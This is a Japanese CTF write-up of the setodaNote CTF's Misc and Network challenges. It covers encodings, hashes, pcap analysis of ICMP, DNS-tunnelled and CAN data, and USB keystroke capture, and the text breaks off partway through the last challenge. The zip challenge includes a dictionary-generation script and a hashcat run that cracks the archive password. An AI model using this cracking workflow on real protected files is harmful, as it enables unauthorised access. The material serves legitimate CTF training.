0
0

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

More than 3 years have passed since last update.

Writeup: setodaNote CTF

Posted at

概要

2021/8/21-9/4と2週間に渡って開催された setodaNote CTFのWriteupになります。

@soji256 が一人で作成されたCTFのようですが、ジャンル・ボリュームともに多く、非常に楽しむことができました!ありがとうございました!

ジャンルと問題数は以下の通りです。69問ありました。

  • Misc: 12問
  • Network: 8問
  • Web: 8問
  • OSINT: 10問
  • Crypto: 8問
  • Rev: 5問
  • Forensics: 11問
  • Programing: 4問
  • Pwn: 3問

結果

結果は以下の通りでした。

image.png

Misc

Welcome

問題

image.png

攻略方法

本CTFでは、WebShellが用意されており、ログインするとカレントにフラグファイルが置かれていました。

user@03faf07ab128:~$ ls 
welcome.txt
user@03faf07ab128:~$ cat welcome.txt 

  Welcome to the setodaNote CTF!!

  *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
  *                                 *
  *   flag{Enjoy_y0ur_time_here!}   *
  *                                 *
  *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

  This is the flag.

user@03faf07ab128:~$ 

WebShellへの接続確認を兼ねた問題になっていました。

フラグ

flag{Enjoy_y0ur_time_here!}

morse_one

問題

image.png

攻略環境

攻略方法

問題に添付されたファイルを解答すると、以下のファイルが格納されていました。

┌──(vagrant㉿kali)-[/vagrant/misc/morse_one]
└─$ cat morse_one.txt
DDDBSDDSBDDDSDBDSBBBSDBBDSDBDDSDSBDDB

問題のタイトルの通り、モールス符号だと思います。

  • D -> 短点
  • B -> 長点
  • S -> 区切り文字

と、仮定し、以下の通り変換します。

┌──(vagrant㉿kali)-[/vagrant/misc/morse_one]
└─$ cat morse_one.txt | tr 'D' '.' | tr 'B' '-' | tr 'S' ' '
...- .. -... .-. --- .--. .-.. . -..-

変換したテキストをCyber Chefで解読したところ、以下の結果が得られました。

image.png

VIBROPLEXを調べたところ、 モールス符号の送信装置なので、これがフラグそうです。

フラグ

flag{VIBROPLEX}

Hash

問題

image.png

攻略環境

攻略方法

添付ファイルを回答する以下の通り90個のファイルがありました。

┌──(vagrant㉿kali)-[/vagrant/misc/Hash]
└─$ ls hash
pass001.txt

<snip>

pass090.txt

ためにし、いくつかのファイルを確認してみます。

┌──(vagrant㉿kali)-[/vagrant/misc/Hash]
└─$ cat hash/pass001.txt
flag{turkey
┌──(vagrant㉿kali)-[/vagrant/misc/Hash]
└─$ cat hash/pass002.txt
flag{cure

問題文に記載しているハッシュ値のファイルを結合すればflagが得られそうです。

hash-identifierでハッシュアルゴリズムの特定をします。

┌──(vagrant㉿kali)-[/vagrant/misc/Hash]
└─$ hash-identifier
   #########################################################################
   #     __  __                     __           ______    _____           #
   #    /\ \/\ \                   /\ \         /\__  _\  /\  _ `\         #
   #    \ \ \_\ \     __      ____ \ \ \___     \/_/\ \/  \ \ \/\ \        #
   #     \ \  _  \  /'__`\   / ,__\ \ \  _ `\      \ \ \   \ \ \ \ \       #
   #      \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \      \_\ \__ \ \ \_\ \      #
   #       \ \_\ \_\ \___ \_\/\____/  \ \_\ \_\     /\_____\ \ \____/      #
   #        \/_/\/_/\/__/\/_/\/___/    \/_/\/_/     \/_____/  \/___/  v1.2 #
   #                                                             By Zion3R #
   #                                                    www.Blackploit.com #
   #                                                   Root@Blackploit.com #
   #########################################################################
--------------------------------------------------
 HASH: aff02d6ad353ebf547f3b1f8ecd21efd7931e356f3930ab5ee502a391c5802d7

Possible Hashs:
[+] SHA-256
[+] Haval-256

SHA-256だとわかりました。あとは、各ファイルをのハッシュ値を抽出して、ファイルを特定します。

┌──(vagrant㉿kali)-[/vagrant/misc/Hash]
└─$ sha256sum hash/* > hash_list.txt

┌──(vagrant㉿kali)-[/vagrant/misc/Hash]
└─$ cat hash_list.txt| grep aff02d6ad353ebf547f3b1f8ecd21efd7931e356f3930ab5ee502a391c5802d7
aff02d6ad353ebf547f3b1f8ecd21efd7931e356f3930ab5ee502a391c5802d7  hash/pass024.txt

┌──(vagrant㉿kali)-[/vagrant/misc/Hash]
└─$ cat hash_list.txt| grep 8428f87e4dbbf1e95dba566b2095d989f5068a5465ebce96dcdf0b487edb8ecb
8428f87e4dbbf1e95dba566b2095d989f5068a5465ebce96dcdf0b487edb8ecb  hash/pass034.txt

┌──(vagrant㉿kali)-[/vagrant/misc/Hash]
└─$ cat hash_list.txt| grep e82f6ff15ddc9d67fc28c4b2c575adf7252d6e829af55c2b7ac1615b304d8962
e82f6ff15ddc9d67fc28c4b2c575adf7252d6e829af55c2b7ac1615b304d8962  hash/pass079.txt

特定したファイルに記載されている文字列を結合すると、フラグが得られました。

┌──(vagrant㉿kali)-[/vagrant/misc/Hash]
└─$ cat hash/pass024.txt
flag{hardest

┌──(vagrant㉿kali)-[/vagrant/misc/Hash]
└─$ cat hash/pass034.txt
_logic_

┌──(vagrant㉿kali)-[/vagrant/misc/Hash]
└─$ cat hash/pass079.txt
puzzle}

フラグ

flag{hardest_logic_puzzle}

magic_number

問題

image.png

攻略環境

攻略方法

タイトルどおりファイルのマジックナンバーを確認します。

問題文に記載されているマジックナンバーはそれぞれ以下のファイルを示しています。

  • [89 50 4e 47] -> PNG
  • [52 61 72 21] -> RAR
  • [ff d8 ff e0] -> JPEG

それぞれの拡張子が示すファイルの先頭バイトを確認します。

┌──(vagrant㉿kali)-[/vagrant/misc/magic_number]
└─$ hexdump -C magic_number/post.png| head -n 1
00000000  89 50 4e 47 0d 0a 1a 0a  00 00 00 0d 49 48 44 52  |.PNG........IHDR|

┌──(vagrant㉿kali)-[/vagrant/misc/magic_number]
└─$ hexdump -C magic_number/rar.rar| head -n 1
00000000  52 61 72 21 1a 07 01 00  33 92 b5 e5 0a 01 05 06  |Rar!....3.......|

┌──(vagrant㉿kali)-[/vagrant/misc/magic_number]
└─$ hexdump -C magic_number/light.jpg| head -n 1
00000000  ff d8 ff e0 00 10 4a 46  49 46 00 01 01 01 00 60  |......JFIF.....`|

ファイル名が特定できたので、ファイル名を問題文に従って結合するとフラグが得られました。

フラグ

flag{post_rar_light}

参考情報

marse_zero

問題

image.png

攻略環境

攻略方法

タイトルから morse_one と同様にモールス符号の問題と想定して取りかかりました。

添付されたファイルを確認すると、以下の通りZしか表示されませんでした。

┌──(vagrant㉿kali)-[/vagrant/misc/morse_zero]
└─$ cat morse_zero.txt
ZZZZZZZZZZZZZZZ

これだとモールス符号が成立しないので、バイナリを確認すると以下の通り同じバイト列が繰り返し出現しており、モールス符号が成立する可能性があります。

┌──(vagrant㉿kali)-[/vagrant/misc/morse_zero]
└─$ hexdump -C morse_zero.txt
00000000  e2 80 8c e2 80 8c e2 80  8b e2 80 8b 5a e2 80 8b  |............Z...|
00000010  5a e2 80 8b e2 80 8c e2  80 8b 5a e2 80 8c e2 80  |Z.........Z.....|
00000020  8c e2 80 8c e2 80 8c e2  80 8c 5a e2 80 8b e2 80  |..........Z.....|
00000030  8b e2 80 8c e2 80 8c e2  80 8b e2 80 8c 5a e2 80  |.............Z..|
00000040  8b e2 80 8c e2 80 8c 5a  e2 80 8b e2 80 8c e2 80  |.......Z........|
00000050  8c e2 80 8c e2 80 8c 5a  e2 80 8c e2 80 8b e2 80  |.......Z........|
00000060  8b 5a e2 80 8c 5a e2 80  8b e2 80 8b e2 80 8b e2  |.Z...Z..........|
00000070  80 8b 5a e2 80 8b e2 80  8b e2 80 8c e2 80 8c e2  |..Z.............|
00000080  80 8b e2 80 8c 5a e2 80  8b e2 80 8b e2 80 8b 5a  |.....Z.........Z|
00000090  e2 80 8b e2 80 8c e2 80  8c e2 80 8b 5a e2 80 8b  |............Z...|
000000a0  e2 80 8c 5a e2 80 8c e2  80 8b e2 80 8c e2 80 8b  |...Z............|
000000b0  5a e2 80 8b                                       |Z...|
000000b4

出現するバイト列を見てみると、以下の3種類が繰り返し使われていることに気づきました。

  • e2 80 8c
  • e2 80 8b
  • 5a

これを、モールス符号に当てはめて、以下の通り変換を実行しました。(Zは区切り文字だと仮定して、のこりのバイト列に長点・短点があると想定)

# !/usr/bin/env python3

r = ""
with open("morse_zero.txt", "rb") as f:
    while True:
        data = f.read(1)
        if len(data) == 0:
            break
        if data == b'\x8c':
            r += "-"
        elif data == b'\x8b':
            r += "."
        elif data == b'\x5a':
            r += " "
print(r)
┌──(vagrant㉿kali)-[/vagrant/misc/morse_zero]
└─$ ./solver.py
--.. . .-. ----- ..--.- .-- .---- -.. - .... ..--.- ... .--. .- -.-. .

得れた文字列をCyberChefで解析するとフラグが得られました。

image.png

フラグ

Flag{ZER0_W1DTH_SPACE}

i_knew_it

問題

image.png

攻略方法

解答する、アセンブリが記載された画像ファイルがありました。

image.png

よくみてみると、RC4の特徴があり、これがフラグになっています。

RC4の解説について、以下に詳細が記載されています。

フラグ

flag{RC4}

Redacted

問題

image.png

攻略方法

PDFファイルが添付されており、開くと以下のような黒塗りされた文章があります。

image.png

Adobe Readerで開いて、コピペしたところ以下の文章が取得でき、そのなかにフラグがありました。

image.png

フラグ

flag{weather_balloon}

storing_password

攻略環境

問題

image.png

攻略方法

パスワード付きのzipファイルと以下の情報セキュリティガイドラインが与えられた問題です。

image.png

情報セキュリティガイドラインに従ったパスワードが設定されていると仮定し、総当たり攻撃をしかければ解読できそうです。

以下の方針で進めました。

  • パスワードに法則があるため、法則に従った辞書ファイルを作成する。
  • hashcatを使った辞書攻撃を行う。

まずzipファイルのパスワードハッシュ値を取得します。

┌──(vagrant㉿kali)-[/vagrant/misc/strong_password/_output]
└─$ zip2john TopSecret.zip | cut -d ":" -f 2 > TopSecret.zip.hash
ver 2.0 TopSecret.zip/TopSecret.txt PKZIP Encr: cmplen=85, decmplen=73, crc=8578F5F9

次に、以下の通り辞書ファイルを作成します。

# !/usr/bin/env python3

import sys
import string
import itertools
import datetime

alphabet_list = [c for c in string.ascii_letters]
punctuation_list = ['@', '#', '%', '$', '!', '-']

alphabet_combi_list = list(itertools.permutations(alphabet_list, 3))
punctuation_combi_list = list(itertools.permutations(punctuation_list, 2))

with open("abc.txt", "w") as f:
    for c in alphabet_combi_list:
        f.write(f"{c[0]}{c[1]}{c[2]}")
        f.write('\n')

start_date = datetime.datetime(year=2021, month=8, day=21)

with open('dict.txt', 'w') as f:
    for i in range(1, 143 + 365):  # target: 2020/04/01
        date_str = (start_date - datetime.timedelta(days=i)).strftime('%Y%m%d')
        for a in alphabet_combi_list:
            for p in punctuation_combi_list:
                line = f'{a[0]}{a[1]}{a[2]}{p[0]}{date_str}{p[1]}'
                f.write(line)
                f.write('\n') 

作成した辞書をもとに、解読を試みるとzipファイルのパスワードがわかりました。

┌──(vagrant㉿kali)-[/vagrant/misc/strong_password]
└─$ hashcat -m 17210 -a 0 ./_output/TopSecret.zip.hash ./dict.txt                                                                                                      

<snip>

$pkzip2$1*1*2*0*55*49*8578f5f9*0*2b*0*55*8578*92c0*598c6b323287ee253bad1378d1f4fe4d91648ea9f1e60fe80374b917e47421b6f3379cf786e9c22453d02e8192c2aecd93122be13b2c348d02c0229c6c8a6b433ac24b17d0e18f215252601daafe595eb6ba28eab3*$/pkzip2$:qYL%20210228!

Session..........: hashcat
Status...........: Cracked
Hash.Name........: PKZIP (Uncompressed)
Hash.Target......: $pkzip2$1*1*2*0*55*49*8578f5f9*0*2b*0*55*8578*92c0*...kzip2$
Time.Started.....: Thu Aug 26 11:01:06 2021 (9 mins, 36 secs)
Time.Estimated...: Thu Aug 26 11:10:42 2021 (0 secs)
Guess.Base.......: File (./dict.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:  2206.9 kH/s (0.46ms) @ Accel:1024 Loops:1 Thr:1 Vec:8
Recovered........: 1/1 (100.00%) Digests
Progress.........: 689494016/761378080 (90.56%)
Rejected.........: 0/689494016 (0.00%)
Restore.Point....: 689491968/761378080 (90.56%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidates.#1....: qYp$20210228! -> qZI-20210228@

Started: Thu Aug 26 10:54:17 2021
Stopped: Thu Aug 26 11:10:43 2021

得られたパスワードをもとに、zipファイルを解答すると中のテキストファイルにフラグが書かれてました。

┌──(vagrant㉿kali)-[/vagrant/misc/strong_password/_output]
└─$ unzip TopSecret.zip
Archive:  TopSecret.zip
[TopSecret.zip] TopSecret.txt password:
 extracting: TopSecret.txt

┌──(vagrant㉿kali)-[/vagrant/misc/strong_password/_output]
└─$ cat TopSecret.txt

flag{And_n0w_h3re_is_my_s3cre7}

フラグ

flag{And_n0w_h3re_is_my_s3cre7}

参考情報

Network

Host

問題

image.png

攻略環境

攻略方法

以下のpcapファイルからホスト名を探す問題です。

┌──(vagrant㉿kali)-[/vagrant/Network/Host]
└─$ file host.pcap
host.pcap: pcap capture file, microsecond ts (little-endian) - version 2.4 (Ethernet, capture length 262144)

まずは、どのような通信が行われているのか確認します。

┌──(vagrant㉿kali)-[/vagrant/Network/Host]
└─$ tshark -r host.pcap
    1   0.000000     10.0.0.1 → 10.0.0.100   TCP 60 80 → 49793 [FIN, ACK] Seq=1 Ack=1 Win=245 Len=0
    2   0.000033   10.0.0.100 → 10.0.0.1     TCP 54 49793 → 80 [ACK] Seq=1 Ack=2 Win=8209 Len=0
    3   1.000610   10.0.0.100 → 10.0.0.1     TCP 54 49793 → 80 [FIN, ACK] Seq=1 Ack=2 Win=8209 Len=0
    4   1.000847   10.0.0.100 → 10.0.0.1     TCP 66 49796 → 80 [SYN] Seq=0 Win=64240 Len=0 MSS=1460 WS=256 SACK_PERM=1
    5   1.001120     10.0.0.1 → 10.0.0.100   TCP 60 80 → 49793 [ACK] Seq=2 Ack=2 Win=245 Len=0
    6   1.001120     10.0.0.1 → 10.0.0.100   TCP 66 80 → 49796 [SYN, ACK] Seq=0 Ack=1 Win=29200 Len=0 MSS=1460 SACK_PERM=1 WS=128
    7   1.001228   10.0.0.100 → 10.0.0.1     TCP 54 49796 → 80 [ACK] Seq=1 Ack=1 Win=2102272 Len=0
    8   1.001655   10.0.0.100 → 10.0.0.1     HTTP 559 GET / HTTP/1.1
    9   1.002524     10.0.0.1 → 10.0.0.100   TCP 60 80 → 49794 [ACK] Seq=1 Ack=506 Win=237 Len=0
   10   1.002524     10.0.0.1 → 10.0.0.100   HTTP 487 HTTP/1.1 200 OK  (text/html)

HTTP通信が行われているので、ここにホスト名がありそうです。HTTPでフィルタリングして詳細を確認するとホスト名がわかりました。

┌──(vagrant㉿kali)-[/vagrant/Network/Host]
└─$ tshark -r host.pcap -V http

<snip>

Hypertext Transfer Protocol
    HTTP/1.1 200 OK\r\n
        [Expert Info (Chat/Sequence): HTTP/1.1 200 OK\r\n]
            [HTTP/1.1 200 OK\r\n]
            [Severity level: Chat]
            [Group: Sequence]
        Response Version: HTTP/1.1
        Status Code: 200
        [Status Code Description: OK]
        Response Phrase: OK
    Date: Mon, 08 Mar 2021 15:04:26 GMT\r\n
    Server: Apache/2.4.6 (CentOS)\r\n
    Last-Modified: Mon, 08 Mar 2021 14:49:37 GMT\r\n
    ETag: "87-5bd078afca725"\r\n
    Accept-Ranges: bytes\r\n
    Content-Length: 135\r\n
        [Content length: 135]
    Keep-Alive: timeout=5, max=100\r\n
    Connection: Keep-Alive\r\n
    Content-Type: text/html; charset=UTF-8\r\n
    \r\n
    [HTTP response 1/1]
    [Time since request: 0.000869000 seconds]
    [Request in frame: 8]
    [Request URI: http://ctf.setodanote.net/]
    File Data: 135 bytes

フラグ

flag{ctf.setodanote.net}

tyks_never_dir

問題

image.png

攻略環境

攻略方法

PCAPファイルを解析する問題です。

┌──(vagrant㉿kali)-[/vagrant/Network/tkys_never_die]
└─$ file tkys_never_die.pcap
tkys_never_die.pcap: pcap capture file, microsecond ts (little-endian) - version 2.4 (Ethernet, capture length 262144)

まずは開いて中身を確認します。

┌──(vagrant㉿kali)-[/vagrant/Network/tkys_never_die]
└─$ tshark -r tkys_never_die.pcap         

<snip>

   18   6.696643   10.0.0.100 → 10.0.0.1     HTTP 512 GET /flag.png HTTP/1.1

<snip>

   51   6.697300     10.0.0.1 → 10.0.0.100   TCP 1514 80 → 49824 [ACK] Seq=44264 Ack=973 Win=31360 Len=1460 [TCP segment of a reassembled PDU]
   52   6.697300     10.0.0.1 → 10.0.0.100   TCP 1514 80 → 49824 [ACK] Seq=45724 Ack=973 Win=31360 Len=1460 [TCP segment of a reassembled PDU]
   53   6.697300     10.0.0.1 → 10.0.0.100   TCP 1514 80 → 49824 [ACK] Seq=47184 Ack=973 Win=31360 Len=1460 [TCP segment of a reassembled PDU]
   54   6.697300     10.0.0.1 → 10.0.0.100   HTTP 216 HTTP/1.1 200 OK  (PNG)

flag.pngを取得している通信があることがわかりました。また、レスポンスは断片化されているようなので、復元処理が必要です。

ここからは、Wiresharkで作業を行い、対象ファイルを取り出します。

image.png

復元したファイルは以下の通りで、フラグが書かれていました。

image.png

フラグ

flag{a_treasure_trove}

echo_request

問題

image.png

攻略環境

攻略方法

PCAPファイルを解析する問題です。

┌──(vagrant㉿kali)-[/vagrant/Network/echo_request]
└─$ file echo_request.pcap
echo_request.pcap: pcap capture file, microsecond ts (little-endian) - version 2.4 (Ethernet, capture length 262144)

中身を確認してみると、Echo requestが大量に含まれていることが確認できました。

┌──(vagrant㉿kali)-[/vagrant/Network/echo_request]
└─$ tshark -r echo_request.pcap         

<snip>

   21 114.435669 192.168.224.120 → 192.168.224.105 ICMP 98 Echo (ping) request  id=0x4943, seq=1/256, ttl=64
   22 115.451748 192.168.224.120 → 192.168.224.105 ICMP 98 Echo (ping) request  id=0x4943, seq=2/512, ttl=64
   23 116.475739 192.168.224.120 → 192.168.224.105 ICMP 98 Echo (ping) request  id=0x4943, seq=3/768, ttl=64

Echo requestのData部には任意のデータが設定可能で、ここに断片化されたデータ格納されている可能性が高いです。Data部に着目して見てみます。

┌──(vagrant㉿kali)-[/vagrant/Network/echo_request]
└─$ tshark -r echo_request.pcap -V icmp.type==8 | grep Data

<snip>

    Data (1 byte)
        Data: 66
    Data (1 byte)
        Data: 6c
    Data (1 byte)
        Data: 61
    Data (1 byte)
        Data: 67
    Data (1 byte)
        Data: 7b
    Data (1 byte)
        Data: 49

<snip>

66 -> f, 6c -> l, 61 -> a,67 -> g`と、flagがあることがわかりました。

データ部を抽出したファイルを作成します。

┌──(vagrant㉿kali)-[/vagrant/Network/echo_request]
└─$ tshark -r echo_request.pcap -V icmp.type==8 | grep Data | grep -v byte > data.txt

以下のスクリプトで断片情報を結合したところフラグが見つかりました。

# !/usr/bin/env python3

flag = ""

with open("data.txt") as f:
    for line in f:
        flag += chr(int(line.strip().split(':')[1], 16))

print(flag)
┌──(vagrant㉿kali)-[/vagrant/Network/echo_request]
└─$ ./solver.py
.....flag{ICMP_Tunneling_T1095}.....

フラグ

flag{ICMP_Tunneling_T1095}

参考情報

yes_you_can

問題

image.png

攻略方法

テキストファイルが添付されており、確認するとCANのログでした。

┌──(vagrant㉿kali)-[/vagrant/Network/yes_you_can]
└─$ file dump.log
dump.log: ASCII text

┌──(vagrant㉿kali)-[/vagrant/Network/yes_you_can]
└─$ head dump.log
(1628245600.155918) vcan0 095#800007F400000017
(1628245600.157006) vcan0 1A4#000000080000003E
(1628245600.157018) vcan0 1AA#7FFF00000000673F
(1628245600.157020) vcan0 1B0#000F0000000175
(1628245600.157023) vcan0 1D0#000000000000000A
(1628245600.158095) vcan0 166#D0320027
(1628245600.160232) vcan0 158#0000000000000028
(1628245600.160243) vcan0 161#000005500108002B
(1628245600.160245) vcan0 191#010010A141001A
(1628245600.160247) vcan0 133#00000000B6

フラグ文字列である{: 0x7Bが含まれているか確認すると、CAN ID: 244にフラグが含まれていそうなことがわかりました。

┌──(vagrant㉿kali)-[/vagrant/Network/yes_you_can]
└─$ grep '7B' dump.log
(1628245602.084979) vcan0 244#000000017B
(1628245602.110607) vcan0 244#000000017B
(1628245609.009610) vcan0 244#0000007B00
(1628245609.024920) vcan0 244#0000007B00

CAN ID: 244を対象にデータを確認すると、フラグを1文字づつ送信している箇所を見つけました。

┌──(vagrant㉿kali)-[/vagrant/Network/yes_you_can]
└─$ grep '244#' dump.log | awk -F# '{print $2}'

<snip>

0000006600
0000006600
0000006600
0000006600
0000006600

<snip>

0000006C00
0000006C00
0000006C00
0000006C00
0000006C00

<snip>

ffffflllllのように重複して送信をしているため、重複部分を取り除くとフラグが得られました。

フラグ

flag{can_bus_hacking}

参考情報

Digdig

問題

image.png

攻略環境

攻略方法

PCAPファイルを解析する問題です。

┌──(vagrant㉿kali)-[/vagrant/Network/Digdig]
└─$ file digdig.pcap
digdig.pcap: pcap capture file, microsecond ts (little-endian) - version 2.4 (Ethernet, capture length 262144)

統計情報を見るとDNSのみでした。

┌──(vagrant㉿kali)-[/vagrant/Network/Digdig]
└─$ tshark -r digdig.pcap -z io,phs -q

===================================================================
Protocol Hierarchy Statistics
Filter:

eth                                      frames:86 bytes:9984
  ip                                     frames:86 bytes:9984
    udp                                  frames:86 bytes:9984
      dns                                frames:86 bytes:9984
===================================================================

DNSトンネリング使われていると思い、DNSリクエストを確認してみると、それらしい通信が行われていることが確認できました。

┌──(vagrant㉿kali)-[/vagrant/Network/Digdig]
└─$ tshark -V -r digdig.pcap | grep "type AAAA"
        00500000LFI2358AA31.setodanote.net: type AAAA, class IN
        00500000LFI2358AA31.setodanote.net: type AAAA, class IN
        00500000LFI2358AA32.setodanote.net: type AAAA, class IN
        00500000LFI2358AA32.setodanote.net: type AAAA, class IN
        00500000LFI2358AA33.setodanote.net: type AAAA, class IN
        00500000LFI2358AA33.setodanote.net: type AAAA, class IN
<snip>

さらに、flag{を16進数に変換しgrepすると複数の通信が抽出できました。

┌──(vagrant㉿kali)-[/vagrant/Network/Digdig]
└─$ tshark -V -r digdig.pcap | grep "type AAAA" | grep 666c61677b
        005aa00e20666c61677b3768.setodanote.net: type AAAA, class IN
        005aa00e20666c61677b3768.setodanote.net: type AAAA, class IN
        005aa001666c61677b546869.setodanote.net: type AAAA, class IN
        005aa001666c61677b546869.setodanote.net: type AAAA, class IN
        005aa00520666c61677b4e69.setodanote.net: type AAAA, class IN
        005aa00520666c61677b4e69.setodanote.net: type AAAA, class IN

7dが含まれていないため、分割して送信している可能性が高そうです。

DNSトンネリングは、UDPの都合上順序が保証できないため、リクエスト中に識別情報を入れている場合があります。今回の場合は先頭の8byteが該当しそうです。

  • 005aa00e
  • 005aa001
  • 005aa005

試しに、005aa00eで検証をしてみます。

┌──(vagrant㉿kali)-[/vagrant/Network/Digdig]
└─$ tshark -r digdig.pcap dns | grep -v response | grep "AAAA" | grep 005aa00e
   69  18.446251 192.168.224.105 → 192.168.224.20 DNS 99 Standard query 0x0026 AAAA 005aa00e20666c61677b3768.setodanote.net

┌──(vagrant㉿kali)-[/vagrant/Network/Digdig]
└─$ tshark -r digdig.pcap dns | grep -v response | grep "AAAA" | grep 005aa00f
   65  18.421682 192.168.224.105 → 192.168.224.20 DNS 99 Standard query 0x0024 AAAA 005aa00f335f6b33795f3135.setodanote.net

┌──(vagrant㉿kali)-[/vagrant/Network/Digdig]
└─$ tshark -r digdig.pcap dns | grep -v response | grep "AAAA" | grep 005aa010
   77  18.500880 192.168.224.105 → 192.168.224.20 DNS 99 Standard query 0x002a AAAA 005aa0105f35336375723137.setodanote.net

┌──(vagrant㉿kali)-[/vagrant/Network/Digdig]
└─$ tshark -r digdig.pcap dns | grep -v response | grep "AAAA" | grep 005aa011
   57  18.371236 192.168.224.105 → 192.168.224.20 DNS 99 Standard query 0x0020 AAAA 005aa011797d323232323232.setodanote.net

得られたデータは以下の通りでした。

  • 20666c61677b3768
  • 335f6b33795f3135
  • 5f35336375723137
  • 797d323232323232

これをCyberChefで解読すると、以下のとおりでした。これでフラグを特定する方法が確立できました。

flag{7h3_k3y_15_53cur17y}222222

一見、フラグが得られているように見えますが、フラグ文字列が分割していることを考えるとflag{でフィルタリングをすると見逃しが発生する可能性があります。

そこで、0x7d: }を対象にgrepして、デクリメントすることでフラグを生成することにします。

┌──(vagrant㉿kali)-[/vagrant/Network/Digdig]
└─$ tshark -r digdig.pcap dns | grep -v response | grep "AAAA" | grep '7d'
   25  18.120262 192.168.224.105 → 192.168.224.20 DNS 99 Standard query 0x0010 AAAA 005aa0034d595f464c41477d.setodanote.net
   29  18.148139 192.168.224.105 → 192.168.224.20 DNS 99 Standard query 0x0012 AAAA 005aa0085f746861747d2066.setodanote.net
   53  18.348456 192.168.224.105 → 192.168.224.20 DNS 99 Standard query 0x001e AAAA 005aa00c5f5431303731217d.setodanote.net
   57  18.371236 192.168.224.105 → 192.168.224.20 DNS 99 Standard query 0x0020 AAAA 005aa011797d323232323232.setodanote.net

上から順に解読してきいます。

┌──(vagrant㉿kali)-[/vagrant/Network/Digdig]
└─$ tshark -r digdig.pcap dns | grep -v response | grep "AAAA" | grep 005aa003
   25  18.120262 192.168.224.105 → 192.168.224.20 DNS 99 Standard query 0x0010 AAAA 005aa0034d595f464c41477d.setodanote.net

┌──(vagrant㉿kali)-[/vagrant/Network/Digdig]
└─$ tshark -r digdig.pcap dns | grep -v response | grep "AAAA" | grep 005aa002
   17  18.082911 192.168.224.105 → 192.168.224.20 DNS 99 Standard query 0x000c AAAA 005aa002735f69735f44414d.setodanote.net

┌──(vagrant㉿kali)-[/vagrant/Network/Digdig]
└─$ tshark -r digdig.pcap dns | grep -v response | grep "AAAA" | grep 005aa001
   73  18.475280 192.168.224.105 → 192.168.224.20 DNS 99 Standard query 0x0028 AAAA 005aa001666c61677b546869.setodanote.net

得られた文字列は以下のとおりでした。

666c61677b546869
735f69735f44414d
4d595f464c41477d

これを解読すると、以下の通りになり明らかに誤りです。

flag{This_is_DAMMY_FLAG}

次のIDも試します。

┌──(vagrant㉿kali)-[/vagrant/Network/Digdig]
└─$ tshark -r digdig.pcap dns | grep -v response | grep "AAAA" | grep 005aa008
   29  18.148139 192.168.224.105 → 192.168.224.20 DNS 99 Standard query 0x0012 AAAA 005aa0085f746861747d2066.setodanote.net

┌──(vagrant㉿kali)-[/vagrant/Network/Digdig]
└─$ tshark -r digdig.pcap dns | grep -v response | grep "AAAA" | grep 005aa007
   41  18.223104 192.168.224.105 → 192.168.224.20 DNS 99 Standard query 0x0018 AAAA 005aa0076f7272795f666f72.setodanote.net

┌──(vagrant㉿kali)-[/vagrant/Network/Digdig]
└─$ tshark -r digdig.pcap dns | grep -v response | grep "AAAA" | grep 005aa006
   21  18.096169 192.168.224.105 → 192.168.224.20 DNS 99 Standard query 0x000e AAAA 005aa00663655f7472795f53.setodanote.net

┌──(vagrant㉿kali)-[/vagrant/Network/Digdig]
└─$ tshark -r digdig.pcap dns | grep -v response | grep "AAAA" | grep 005aa005
   85  18.551924 192.168.224.105 → 192.168.224.20 DNS 99 Standard query 0x002e AAAA 005aa00520666c61677b4e69.setodanote.net

得られた文字列とフラグ以下のとおりでした。

20666c61677b4e69
63655f7472795f53
6f7272795f666f72
5f746861747d2066

flag{Nice_try_Sorry_for_that}

だんだん不安になってきましたが、最後のIDを試してみます。

┌──(vagrant㉿kali)-[/vagrant/Network/Digdig]
└─$ tshark -r digdig.pcap dns | grep -v response | grep "AAAA" | grep 005aa00c
   53  18.348456 192.168.224.105 → 192.168.224.20 DNS 99 Standard query 0x001e AAAA 005aa00c5f5431303731217d.setodanote.net

┌──(vagrant㉿kali)-[/vagrant/Network/Digdig]
└─$ tshark -r digdig.pcap dns | grep -v response | grep "AAAA" | grep 005aa00b
   37  18.196979 192.168.224.105 → 192.168.224.20 DNS 99 Standard query 0x0016 AAAA 005aa00b5333637572313779.setodanote.net

┌──(vagrant㉿kali)-[/vagrant/Network/Digdig]
└─$ tshark -r digdig.pcap dns | grep -v response | grep "AAAA" | grep 005aa00a
   33  18.166535 192.168.224.105 → 192.168.224.20 DNS 99 Standard query 0x0014 AAAA 005aa00a6c61677b444e535f.setodanote.net

┌──(vagrant㉿kali)-[/vagrant/Network/Digdig]
└─$ tshark -r digdig.pcap dns | grep -v response | grep "AAAA" | grep 005aa009
   49  18.329026 192.168.224.105 → 192.168.224.20 DNS 99 Standard query 0x001c AAAA 005aa0096c61672069732066.setodanote.net

得られた文字列とフラグ以下のとおりで、無事フラグを見つけられました。

6c61672069732066
6c61677b444e535f
5333637572313779
5f5431303731217d

lag is flag{DNS_S3cur17y_T1071!}

フラグ

flag{DNS_S3cur17y_T1071!}

参考情報

Logger

問題

image.png

攻略環境

攻略方法

PCAPファイルを解析する問題です。

┌──(vagrant㉿kali)-[/vagrant/Network/Logger]
└─$ file logger.pcap
logger.pcap: pcap capture file, microsecond ts (little-endian) - version 2.4 (USB with USBPcap header, capture length 134217728)

統計情報を見るとUSBのキャプチャデータのみでした。

┌──(vagrant㉿kali)-[/vagrant/Network/Logger]
└─$ tshark -r logger.pcap -z io,phs -q

===================================================================
Protocol Hierarchy Statistics
Filter:

usb                                      frames:1100 bytes:34100
  usb.capdata                            frames:550 bytes:19250
===================================================================

タイトルがLoggerとありますので、キーロガーの可能性が高そうです。

調べてみると、キャプチャデータから入力文字を再現するスクリプトが見つかりました。

READMEに従い実施したところ、入力文字がわかりフラグがわかりました。

┌──(vagrant㉿kali)-[/vagrant/Network/Logger]
└─$ tshark -r logger.pcap -Y 'usb.capdata && usb.data_len == 8' -T fields -e usb.capdata | sed 's/../:&/g2' > usbPcapData.txt

┌──(vagrant㉿kali)-[/vagrant/Network/Logger]
└─$ head usbPcapData.txt
02:00:00:00:00:00:00:00
02:00:12:00:00:00:00:00
02:00:00:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:11:00:00:00:00:00
00:00:00:00:00:00:00:00
00:00:08:00:00:00:00:00
00:00:00:00:00:00:00:00
